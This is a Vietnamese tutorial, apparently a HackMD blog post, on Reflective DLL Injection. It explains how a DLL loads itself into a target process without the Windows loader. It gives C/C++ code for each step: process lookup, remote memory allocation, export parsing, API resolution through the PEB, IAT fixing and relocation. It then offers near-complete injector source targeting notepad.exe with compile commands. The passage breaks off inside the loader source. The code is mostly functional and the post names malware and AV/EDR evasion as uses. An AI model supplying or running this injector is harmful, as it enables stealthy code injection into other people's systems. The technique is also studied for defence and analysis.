--- tags: [Technique] --- # Reflective DLL Injection ## Lời nói đầu * Trong bài viết trước, mình đã giới thiệu về kỹ thuật **[Classic DLL Injection](https://hackmd.io/jgmfy-wxRQW2v_gVBT5M-A?view)**. Nó khá đơn giản, dễ hiểu, dễ triển khai, tuy nhiên tồn tại nhiều điểm yếu và khó qua mặt được các **AV** do phụ thuộc vào **DLL** trên disk và **API** `LoadLibrary()`. * **Reflective DLL Injection** sinh ra có thể được coi là biến thể nâng cao hơn hẳn so với **Classic DLL Injection**, khi nó chèn trực tiếp **DLL** nhận từ **C&C server** hoặc **DLL** có sẵn trên `resource section` vào **target process**. Tức là **DLL** tự nạp chính nó vào `process` mà không cần **Windows Loader**. * Dù cải tiến hơn rất nhiều như vậy, nhưng **Reflective DLL Injection** lại khó thực hiện hơn, bởi vì khi ta không dùng **Windows Loader** thì bản chất con **DLL** lúc này là **Raw DLL** (**DLL** được nạp vào `memory` dưới dạng thô (`raw`) thay vì qua **Windows Loader**) nên các công việc như phân giải địa chỉ trong bảng **IAT**, **relocation**,... ta phải tự làm thay cho **Windows Loader**. Tức là ta phải tự code 1 con **Loader** hoàn chỉnh chèn trong **Raw DLL**. * Điểm mấu chốt là trong **DLL** có chứa một hàm `ReflectiveLoader`. Khi được đưa vào bộ nhớ của **target process**, hàm này sẽ tự thực hiện công việc của **Windows Loader**: tìm `base address`, xử lý `relocation`, resolve `import table`, sau đó gọi **DllMain**. ## So sánh Classic DLL Injection và Reflective DLL Injection | **Tiêu chí** | **Reflective DLL Injection** | **DLL Injection thông thường** | |-------------------------|-----------------------------------------------------------------------------------------------|-----------------------------------------------------------------| | **Cách thức hoạt động** | **DLL** tự nạp vào bộ nhớ tiến trình mà không cần sự trợ giúp của hệ điều hành | Hệ điều hành xử lý việc nạp **DLL** vào bộ nhớ | | **API sử dụng** | `VirtualAlloc`, `WriteProcessMemory`, `CreateRemoteThread`,`Nt* APIs` | `LoadLibrary`, `GetProcAddress` | | **Khả năng ẩn dấu** | Cao, do không ghi nhận trong danh sách **DLL** của tiến trình (`PEB->Ldr`) | Thấp, dễ bị phát hiện bởi các công cụ phân tích tiến trình | | **Yêu cầu đặc biệt** | Cần có mã **Reflective Loader** trong **DLL** | Không yêu cầu | | **Relocation** | Cần tự xử lý **Relocation Table** nếu cần | **Windows** tự động xử lý | | **Xử lý Import Table** | Phải tự xử lý các import | **Windows** tự động xử lý | ## Ứng dụng của Reflective DLL Injection ### Ứng dụng hợp pháp * **Debugging & Reverse Engineering**: Chèn mã vào tiến trình đang chạy để phân tích hành vi phần mềm hoặc mã độc. * **Hooking API**: Theo dõi hoặc thay đổi hành vi **API** mà không cần chỉnh sửa file gốc. * **Anti-Debugging**: Hỗ trợ kiểm tra tình trạng bị debug bằng cách dùng **API** như `CheckRemoteDebuggerPresent`. ### Ứng dụng trong khai thác * **Malware & Rootkits**: Tải mã độc vào tiến trình hợp lệ, giúp né tránh phát hiện bởi **AV/EDR**. * **Khai thác lỗ hổng**: Thực thi mã tùy chỉnh trên hệ thống mục tiêu mà không cần ghi ra disk → giảm dấu vết. # Mô hình triển khai * Mình có chuẩn bị 1 vài hình ảnh, mục đích là để mọi người có cái nhìn trực quan hơn về kỹ thuật. * Cơ chế hoạt động của kỹ thuật **Reflective Dll Injection**: ![image](https://hackmd.io/_uploads/rk4TRb7Kll.png) * Mô hình **Injector**: ![image](https://hackmd.io/_uploads/H1H1kM7Kge.png) * Mô hình **Reflective Loader**: ![image](https://hackmd.io/_uploads/rkb-kGXYel.png) # Các bước thực hiện kỹ thuật Reflective DLL Injection ## PE Injector ### 1. Theo dõi tiến trình đích (target process) * **Injector** duyệt qua danh sách tiến trình đang chạy bằng `CreateToolhelp32Snapshot()` và `PROCESSENTRY32`. * Khi tìm thấy tiến trình có tên trùng với `target` (ví dụ: `notepad.exe`), hàm `customGetProcID()` sẽ trả về `PID`. ```py DWORD customGetProcID(const wchar_t* name) { PROCESSENTRY32W pe32; pe32.dwSize = sizeof(PROCESSENTRY32W); HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (!Process32FirstW(hSnap, &pe32)) { CloseHandle(hSnap); return 0; } do { if (!lstrcmpiW(pe32.szExeFile, name)) { CloseHandle(hSnap); return pe32.th32ProcessID; } } while (Process32NextW(hSnap, &pe32)); CloseHandle(hSnap); return 0; } ``` ### 2. Mở tiến trình đích và chuẩn bị vùng nhớ * Sử dụng `OpenProcess()` với quyền cần thiết: ```py PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ ``` * Dùng `VirtualAllocEx()` để cấp phát bộ nhớ trong tiến trình target, với quyền **PAGE_EXECUTE_READWRITE** (cho phép ghi + thực thi). * Sau đó, **injector** ghi dữ liệu **DLL** (hoặc `raw DLL`) vào vùng nhớ này bằng `WriteProcessMemory()`. ```py DWORD dwProcessId = customGetProcID(TARGET_BINARY); HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId); LPVOID lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, fileLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); ``` ### 3. Xác định địa chỉ hàm ReflectiveLoader * Để **DLL** có thể tự khởi tạo, **injector** cần tìm `offset` của hàm `ReflectiveLoader()` trong file **DLL**. Việc này dựa trên **Export Table** của **PE**: * **Export Table** nằm trong **IMAGE_EXPORT_DIRECTORY**: ![image](https://hackmd.io/_uploads/B1ZZIV7Fxx.png) * Hàm `GetReflectiveLoaderOffset()` sẽ duyệt qua danh sách `export` (sử dụng `AddressOfNames`, `AddressOfFunctions`, `AddressOfNameOrdinals`) và so khớp tên hàm ``"ReflectiveLoader"``. * Khi tìm thấy, ta lấy `RVA` rồi chuyển sang `offset` trong file bằng công thức: * `VA = RVA + ImageBase` * `Offset = RVA – VirtualAddress + PointerToRawData` ```py DWORD Rva2Offset(DWORD dwRVA, ULONG_PTR uiBaseAddress) { PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); PIMAGE_SECTION_HEADER pSectionHdr = IMAGE_FIRST_SECTION(pNtHdr); for (WORD i = 0; i < pNtHdr->FileHeader.NumberOfSections; i++, pSectionHdr++) { DWORD sectVA = pSectionHdr->VirtualAddress; DWORD sectSize = pSectionHdr->Misc.VirtualSize; if (dwRVA >= sectVA && dwRVA < (sectVA + sectSize)) { return dwRVA - sectVA + pSectionHdr->PointerToRawData; } } return 0; } DWORD GetReflectiveLoaderOffset(LPVOID lpReflectiveDllBuffer) { ULONG_PTR uiBaseAddress = (ULONG_PTR)lpReflectiveDllBuffer; PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); DWORD exportRVA = pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; ULONG_PTR uiExportDir = uiBaseAddress + Rva2Offset(exportRVA, uiBaseAddress); PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)uiExportDir; DWORD* nameArray = (DWORD*)(uiBaseAddress + Rva2Offset(pExportDir->AddressOfNames, uiBaseAddress)); DWORD* funcArray = (DWORD*)(uiBaseAddress + Rva2Offset(pExportDir->AddressOfFunctions, uiBaseAddress)); WORD* ordinalsArray = (WORD*)(uiBaseAddress + Rva2Offset(pExportDir->AddressOfNameOrdinals, uiBaseAddress)); DWORD numNames = pExportDir->NumberOfNames; for (DWORD i = 0; i < numNames; i++) { char* funcName = (char*)(uiBaseAddress + Rva2Offset(nameArray[i], uiBaseAddress)); if (strstr(funcName, "ReflectiveLoader") != NULL) { WORD funcIndex = ordinalsArray[i]; DWORD reflectiveLoaderRVA = funcArray[funcIndex]; return Rva2Offset(reflectiveLoaderRVA, uiBaseAddress); } } return 0; } ``` * Do quá trình này khá phức tạp, một số kỹ thuật khác chọn cách `pattern matching` trực tiếp trong `raw DLL` để tìm **ReflectiveLoader** thay vì parse đầy đủ **Export Table**. ![image](https://hackmd.io/_uploads/HJVLIEmFxg.png) ## Reflective Loader * **ReflectiveLoader** có nhiệm vụ nạp **DLL** thô (`raw DLL`) sau khi được inject vào bộ nhớ của tiến trình đích. Khác với cách thông thường dùng `LoadLibrary()`, **ReflectiveLoader** thực hiện `manual loading`: tự xử lý **PE Header**, copy các `section`, phân giải **Import Address Table** (`IAT`) và áp dụng **Relocation** trước khi gọi **DllMain**. * Đặc điểm quan trọng: * Trong giai đoạn đầu, **ReflectiveLoader** được coi như `shellcode`: nó không thể phụ thuộc trực tiếp vào **IAT** hay **Relocation** vì các cấu trúc này chưa được khởi tạo. * Do đó, mọi hàm cần thiết như `LoadLibrary()`, `VirtualAlloc()`, `GetProcAddress()`, … phải được resolve thủ công. ### 1. Tìm base address * Bước đầu tiên của **ReflectiveLoader** là xác định `base address` của chính **DLL** đang được nạp. * Bắt đầu từ một địa chỉ bất kỳ trong module (thường là `return address` từ `caller`). * Duyệt ngược về trước trong bộ nhớ cho đến khi tìm thấy **DOS signature** (`MZ`). * Từ đó, kiểm tra trường `e_lfanew` để lấy vị trí **NT Header**. * Nếu **NT Header** hợp lệ (có `signature` `PE\0\0`), địa chỉ này chính là `base address` (`LibraryAddress`) cần tìm. ```py ULONG_PTR uiLibraryAddress = caller(); while (TRUE) { if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) { uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) { uiHeaderValue += uiLibraryAddress; if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) break; } } uiLibraryAddress--; } ``` ### 2. Resolve API * **Loader** không thể dựa vào **IAT** nên phải tự lấy địa chỉ các **API**. * **Bước 1**: Dùng `__readgsqword(0x60)` để lấy địa chỉ **PEB** thông qua **TEB**. ```py ULONG_PTR uiBaseAddress = __readgsqword(0x60); LIST_ENTRY* moduleList = &((PEB*)(uiBaseAddress))->Ldr->InMemoryOrderModuleList; LIST_ENTRY* ptr = moduleList->Flink; ``` * **Bước 2**: Truy cập `PEB->Ldr->InMemoryOrderModuleList` để duyệt qua danh sách **DLL** đã load. So sánh tên để tìm `base address` của `kernel32.dll` và `ntdll.dll`. ```py typedef struct _LDR_DATA_TABLE_ENTRY { PVOID Reserved1[2]; LIST_ENTRY InMemoryOrderLinks; PVOID Reserved2[2]; PVOID DllBase; PVOID EntryPoint; PVOID Reserved3; UNICODE_STRING FullDllName; BYTE Reserved4[8]; PVOID Reserved5[3]; union { ULONG CheckSum; PVOID Reserved6; }; ULONG TimeDateStamp; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; while (ptr != moduleList && (uiModuleBaseKernel32 == NULL || uiModuleBaseNtdll == NULL)) { LDR_DATA_TABLE_ENTRY* module = (LDR_DATA_TABLE_ENTRY*)ptr; wchar_t* moduleName = module->FullDllName.Buffer; if (moduleName && moduleName[0] == 'K' && moduleName[1] == 'E' && moduleName[2] == 'R' && moduleName[3] == 'N' && moduleName[4] == 'E' && moduleName[5] == 'L' && moduleName[6] == '3' && moduleName[7] == '2' && moduleName[8] == '.' && moduleName[9] == 'D' && moduleName[10] == 'L' && moduleName[11] == 'L') uiModuleBaseKernel32 = (HMODULE)(module->DllBase); else if (moduleName && moduleName[0] == 'n' && moduleName[1] == 't' && moduleName[2] == 'd' && moduleName[3] == 'l' && moduleName[4] == 'l' && moduleName[5] == '.' && moduleName[6] == 'd' && moduleName[7] == 'l' && moduleName[8] == 'l') uiModuleBaseNtdll = (HMODULE)(module->DllBase); ptr = ptr->Flink; } ``` * **Bước 3**: Với `base address` của **DLL**, đọc **Export Table** trong **PE header** để lấy danh sách tên hàm. Duyệt `export`, so sánh chuỗi để tìm địa chỉ của `VirtualAlloc`, `GetProcAddress`, `LoadLibraryA`. ```py while (!ptrVirtualAlloc || !ptrGetProcAddress || !ptrLoadLibraryA) { IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)uiModuleBaseKernel32; IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)uiModuleBaseKernel32 + dosHeader->e_lfanew); IMAGE_EXPORT_DIRECTORY* exportDirectory = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)uiModuleBaseKernel32 + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); DWORD* nameArray = (DWORD*)((BYTE*)uiModuleBaseKernel32 + exportDirectory->AddressOfNames); WORD* ordinalArray = (WORD*)((BYTE*)uiModuleBaseKernel32 + exportDirectory->AddressOfNameOrdinals); DWORD* funcArray = (DWORD*)((BYTE*)uiModuleBaseKernel32 + exportDirectory->AddressOfFunctions); for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) { char* funcName = (char*)((BYTE*)uiModuleBaseKernel32 + nameArray[i]); if (!ptrVirtualAlloc && funcName[0] == 'V' && funcName[1] == 'i' && funcName[2] == 'r' && funcName[3] == 't' && funcName[4] == 'u' && funcName[5] == 'a' && funcName[6] == 'l' && funcName[7] == 'A' && funcName[8] == 'l' && funcName[9] == 'l' && funcName[10] == 'o' && funcName[11] == 'c') ptrVirtualAlloc = (pVirtualAlloc)((FARPROC)((BYTE*)uiModuleBaseKernel32 + funcArray[ordinalArray[i]])); else if (!ptrGetProcAddress && funcName[0] == 'G' && funcName[1] == 'e' && funcName[2] == 't' && funcName[3] == 'P' && funcName[4] == 'r' && funcName[5] == 'o' && funcName[6] == 'c' && funcName[7] == 'A' && funcName[8] == 'd' && funcName[9] == 'd' && funcName[10] == 'r' && funcName[11] == 'e' && funcName[12] == 's' && funcName[13] == 's') ptrGetProcAddress = (pGetProcAddress)((FARPROC)((BYTE*)uiModuleBaseKernel32 + funcArray[ordinalArray[i]])); else if (!ptrLoadLibraryA && funcName[0] == 'L' && funcName[1] == 'o' && funcName[2] == 'a' && funcName[3] == 'd' && funcName[4] == 'L' && funcName[5] == 'i' && funcName[6] == 'b' && funcName[7] == 'r' && funcName[8] == 'a' && funcName[9] == 'r' && funcName[10] == 'y' && funcName[11] == 'A') ptrLoadLibraryA = (pLoadLibraryA)((FARPROC)((BYTE*)uiModuleBaseKernel32 + funcArray[ordinalArray[i]])); } } ``` ### 3. Cấp bộ nhớ và ánh xạ nội dung DLL * **Bước 1**: Gọi `VirtualAlloc` để cấp phát phân vùng đủ chứa toàn bộ **DLL** với quyền đọc/ghi/thực thi. ```python uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; uiBaseAddress = (ULONG_PTR)ptrVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ); ``` * **Bước 2**: Sao chép toàn bộ **PE Header** vào vùng nhớ vừa cấp. ```py ULONG_PTR uiSizeOfHeaders = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; ULONG_PTR uiCurPtrToRawDll = uiLibraryAddress; ULONG_PTR uiNewPtrOfDll = uiBaseAddress; while (uiSizeOfHeaders--) *(BYTE*)uiNewPtrOfDll++ = *(BYTE*)uiCurPtrToRawDll++; ``` * **Bước 3**: Lặp qua từng `section`, sao chép dữ liệu từ file sang đúng địa chỉ ảo (`VirtualAddress`) trong vùng nhớ. Mục đích nhằm bỏ qua một khoảng byte **NULL** tương ứng với việc padding cho khớp với `section alignment`. ```py uiCurPtrToRawDll = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); WORD uiNumberOfSections = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; while (uiNumberOfSections--) { ULONG_PTR curPtrToVAddOfSection = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiCurPtrToRawDll)->VirtualAddress); ULONG_PTR sectionRawData = uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiCurPtrToRawDll)->PointerToRawData; ULONG_PTR sizeOfCurSection = ((PIMAGE_SECTION_HEADER)uiCurPtrToRawDll)->SizeOfRawData; while (sizeOfCurSection--) { *(BYTE*)curPtrToVAddOfSection++ = *(BYTE*)sectionRawData++; } uiCurPtrToRawDll += sizeof(IMAGE_SECTION_HEADER); } ``` ### 4. Phân giải IAT * Lấy địa chỉ `IMAGE_IMPORT_DESCRIPTOR` từ **Import Directory** trong **PE Header**. * Với mỗi **DLL** trong **Import Table**, gọi `LoadLibraryA()` để nạp **DLL** cần thiết. * Với mỗi hàm trong **DLL** đó, gọi `GetProcAddress()` để lấy địa chỉ. * Ghi trực tiếp địa chỉ **API** vừa tìm được vào **IAT**. ```py PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)-> OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); while (pImportDescriptor->Name) { HMODULE hModule = ptrLoadLibraryA((LPCSTR)(uiBaseAddress + pImportDescriptor->Name)); PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)(uiBaseAddress + pImportDescriptor->FirstThunk); while (pThunk->u1.AddressOfData) { PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiBaseAddress + pThunk->u1.AddressOfData); FARPROC pFunc = ptrGetProcAddress(hModule, (LPCSTR)(pImportByName->Name)); if (pFunc) { pThunk->u1.Function = (ULONGLONG)pFunc; } pThunk++; } pImportDescriptor++; } ``` ![image](https://hackmd.io/_uploads/r1ZAxHmKge.png) ### 5. Relocation * **Relocation Table** chứa danh sách địa chỉ trong **DLL** cần chỉnh sửa nếu **DLL** không được load đúng tại địa chỉ mặc định (`ImageBase`). Khi **DLL** được load ở `base address` mới, giá trị này được relocation theo công thức: ```py NewVirtualAddress = OldVirtualAddress + (NewImageBase − PreferredBase) ``` * Cách làm: * Lấy **Base Relocation Table** trong **PE header**. * Duyệt qua từng block `relocation`. * Với mỗi `entry`, kiểm tra kiểu (`IMAGE_REL_BASED_DIR64`, `HIGHLOW`, `HIGH`, `LOW`). * Chỉnh sửa địa chỉ tương ứng bằng chênh lệch giữa `uiBaseAddress` và `ImageBase` gốc. ```py PIMAGE_DATA_DIRECTORY baseRelocAddress = (PIMAGE_DATA_DIRECTORY)&((PIMAGE_NT_HEADERS)uiHeaderValue)-> OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; if (baseRelocAddress->Size) { PIMAGE_BASE_RELOCATION vaBaseRelocTable = (PIMAGE_BASE_RELOCATION)(uiBaseAddress + baseRelocAddress-> VirtualAddress); while (vaBaseRelocTable->SizeOfBlock) { ULONG_PTR vaCurRelocBlock = uiBaseAddress + vaBaseRelocTable->VirtualAddress; PIMAGE_RELOCATION RelocBlock = (PIMAGE_RELOCATION)((ULONG_PTR)vaBaseRelocTable + sizeof(IMAGE_BASE_RELOCATION)); for (DWORD i = 0; i < vaBaseRelocTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) / sizeof(DWORD); i++) { if (RelocBlock->Type == IMAGE_REL_BASED_DIR64) *(ULONG_PTR*)(vaCurRelocBlock + RelocBlock-> VirtualAddress) += uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; else if (RelocBlock->Type == IMAGE_REL_BASED_HIGHLOW) *(ULONG_PTR*)(vaCurRelocBlock + RelocBlock-> VirtualAddress) += uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; else if (RelocBlock->Type == IMAGE_REL_BASED_HIGH) *(ULONG_PTR*)(vaCurRelocBlock + RelocBlock-> VirtualAddress) += uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; else if (RelocBlock->Type == IMAGE_REL_BASED_LOW) *(ULONG_PTR*)(vaCurRelocBlock + RelocBlock-> VirtualAddress) += uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; RelocBlock += 1; } vaBaseRelocTable = vaBaseRelocTable + vaBaseRelocTable-> SizeOfBlock; } } ``` ### 6. Thực thi DllMain * Sau khi nạp **DLL**, cần thực thi **DllMain** tại địa chỉ `entry point`. Địa chỉ này lấy từ trường `AddressOfEntryPoint` trong `OptionalHeader`. * Trước khi gọi **DllMain**, phải gọi `NtFlushInstructionCache` để đồng bộ hóa cache **CPU** với bộ nhớ, đảm bảo các thay đổi trong vùng bộ nhớ thực thi được cập nhật đầy đủ. ```py ptrNtFlushInstructionCache((HANDLE)-1, NULL, 0); ULONG_PTR dllMain = uiBaseAddress + ((PIMAGE_NT_HEADERS) uiHeaderValue)->OptionalHeader.AddressOfEntryPoint; ((DLLMAIN)dllMain)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); ``` ## Full code... ### PE Injector ```py #include <windows.h> #include <tlhelp32.h> #include <string> DWORD customGetProcID(const wchar_t* name) { PROCESSENTRY32W pe32; pe32.dwSize = sizeof(PROCESSENTRY32W); HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (!Process32FirstW(hSnap, &pe32)) { CloseHandle(hSnap); return 0; } do { if (!lstrcmpiW(pe32.szExeFile, name)) { CloseHandle(hSnap); return pe32.th32ProcessID; } } while (Process32NextW(hSnap, &pe32)); CloseHandle(hSnap); return 0; } DWORD Rva2Offset(DWORD dwRVA, ULONG_PTR uiBaseAddress) { PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); PIMAGE_SECTION_HEADER pSectionHdr = IMAGE_FIRST_SECTION(pNtHdr); for (WORD i = 0; i < pNtHdr->FileHeader.NumberOfSections; i++, pSectionHdr++) { DWORD sectVA = pSectionHdr->VirtualAddress; DWORD sectSize = pSectionHdr->Misc.VirtualSize; if (dwRVA >= sectVA && dwRVA < (sectVA + sectSize)) { return dwRVA - sectVA + pSectionHdr->PointerToRawData; } } return 0; } DWORD GetReflectiveLoaderOffset(LPVOID lpReflectiveDllBuffer) { ULONG_PTR uiBaseAddress = (ULONG_PTR)lpReflectiveDllBuffer; PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); DWORD exportRVA = pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; ULONG_PTR uiExportDir = uiBaseAddress + Rva2Offset(exportRVA, uiBaseAddress); PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)uiExportDir; DWORD* nameArray = (DWORD*)(uiBaseAddress + Rva2Offset(pExportDir->AddressOfNames, uiBaseAddress)); DWORD* funcArray = (DWORD*)(uiBaseAddress + Rva2Offset(pExportDir->AddressOfFunctions, uiBaseAddress)); WORD* ordinalsArray = (WORD*)(uiBaseAddress + Rva2Offset(pExportDir->AddressOfNameOrdinals, uiBaseAddress)); DWORD numNames = pExportDir->NumberOfNames; for (DWORD i = 0; i < numNames; i++) { char* funcName = (char*)(uiBaseAddress + Rva2Offset(nameArray[i], uiBaseAddress)); if (strstr(funcName, "ReflectiveLoader") != NULL) { WORD funcIndex = ordinalsArray[i]; DWORD reflectiveLoaderRVA = funcArray[funcIndex]; return Rva2Offset(reflectiveLoaderRVA, uiBaseAddress); } } return 0; } int main() { const wchar_t* TARGET_BINARY = L"notepad.exe"; HANDLE hFile = CreateFileW(L"ReflectiveLoader.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); DWORD fileLength = GetFileSize(hFile, NULL); LPVOID lpFileBuffer = HeapAlloc(GetProcessHeap(), 0, fileLength); DWORD bytesRead; ReadFile(hFile, lpFileBuffer, fileLength, &bytesRead, NULL); CloseHandle(hFile); DWORD dwProcessId = customGetProcID(TARGET_BINARY); if (!dwProcessId) { MessageBoxA(NULL, "Process not found!", "Error", MB_OK); return 1; } HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId); LPVOID lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, fileLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpFileBuffer, fileLength, NULL); DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpFileBuffer); LPTHREAD_START_ROUTINE lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset); HANDLE hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpRemoteLibraryBuffer, 0, NULL); WaitForSingleObject(hThread, INFINITE); char buf[512]; char targetName[260]; wcstombs_s(NULL, targetName, TARGET_BINARY, _TRUNCATE); sprintf_s(buf, "Injection complete!\n\nTarget Process: %s\n\nTarget PID: %lu", targetName, dwProcessId); MessageBoxA(NULL, buf, "Information", MB_OK); CloseHandle(hThread); CloseHandle(hProcess); HeapFree(GetProcessHeap(), 0, lpFileBuffer); return 0; } ``` * Để compile thì mở `x64 Native Tools Command Prompt for VS 2022` hoặc `x86 Native Tools Command Prompt for VS 2022` tùy mục đích phiên bản, đến đúng đường dẫn và `cl /nologo /O2 injector.cpp /Fe:injector.exe user32.lib` nhaaa. ### Reflective Loader ```py #include <Windows.h> #include <intrin.h> #pragma intrinsic(_ReturnAddress) typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _PEB_LDR_DATA { BYTE Reserved1[8]; PVOID Reserved2[3]; LIST_ENTRY InMemoryOrderModuleList; } PEB_LDR_DATA, * PPEB_LDR_DATA; typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[1]; PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; } PEB, * PPEB; typedef struct _IMAGE_RELOC { USHORT Offset : 12; USHORT Type : 4; } IMAGE_RELOC, * PIMAGE_RELOC; typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD); typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR); typedef HMODULE(WINAPI* pLoadLibraryA)(LPCSTR); typedef BOOL(WINAPI* pNtFlushInstructionCache)(HANDLE, LPCVOID, SIZE_T); typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); extern "C" __declspec(dllexport) void ReflectiveLoader() { ULONG_PTR uiLibraryAddress, uiHeaderValue, uiBaseAddress; pVirtualAlloc ptrVirtualAlloc = NULL; pGetProcAddress ptrGetProcAddress = NULL; pLoadLibraryA ptrLoadLibraryA = NULL; pNtFlushInstructionCache ptrNtFlushInstructionCache = NULL; uiLibraryAddress = (ULONG_PTR)_ReturnAddress(); while (TRUE) { if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) { uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) { uiHeaderValue += uiLibraryAddress; if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) break; } } uiLibraryAddress--; } ULONG_PTR uiPeb = __readgsqword(0x60); LIST_ENTRY* moduleList = &((PEB*)uiPeb)->Ldr->InMemoryOrderModuleList; LIST_ENTRY* ptr = moduleList->Flink; HMODULE uiModuleBaseKernel32 = NULL, uiModuleBaseNtdll = NULL; typedef struct _LDR_DATA_TABLE_ENTRY { PVOID Reserved1[2]; LIST_ENTRY InMemoryOrderLinks; PVOID Reserved2[2]; PVOID DllBase; PVOID EntryPoint; PVOID Reserved3; UNICODE_STRING FullDllName; BYTE Reserved4[8]; PVOID Reserved5[3]; union { ULONG CheckSum; PVOID Reserved6; }; ULONG TimeDateStamp; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; while (ptr != moduleList && (uiModuleBaseKernel32 == NULL || uiModuleBaseNtdll == NULL)) { LDR_DATA_TABLE_ENTRY* module = (LDR_DATA_TABLE_ENTRY*)ptr; wchar_t* moduleName = module->FullDllName.Buffer; if (moduleName && moduleName[0] == 'K' && moduleName[1] == 'E' && moduleName[2] == 'R' && moduleName[3] == 'N' && moduleName[4] == 'E' && moduleName[5] == 'L' && moduleName[6] == '3' && moduleName[7] == '2' && moduleName[8] == '.' && moduleName[9] == 'D' && moduleName[10] == 'L' && moduleName[11] == 'L') uiModuleBaseKernel32 = (HMODULE)(module->DllBase); else if (moduleName && moduleName[0] == 'n' && 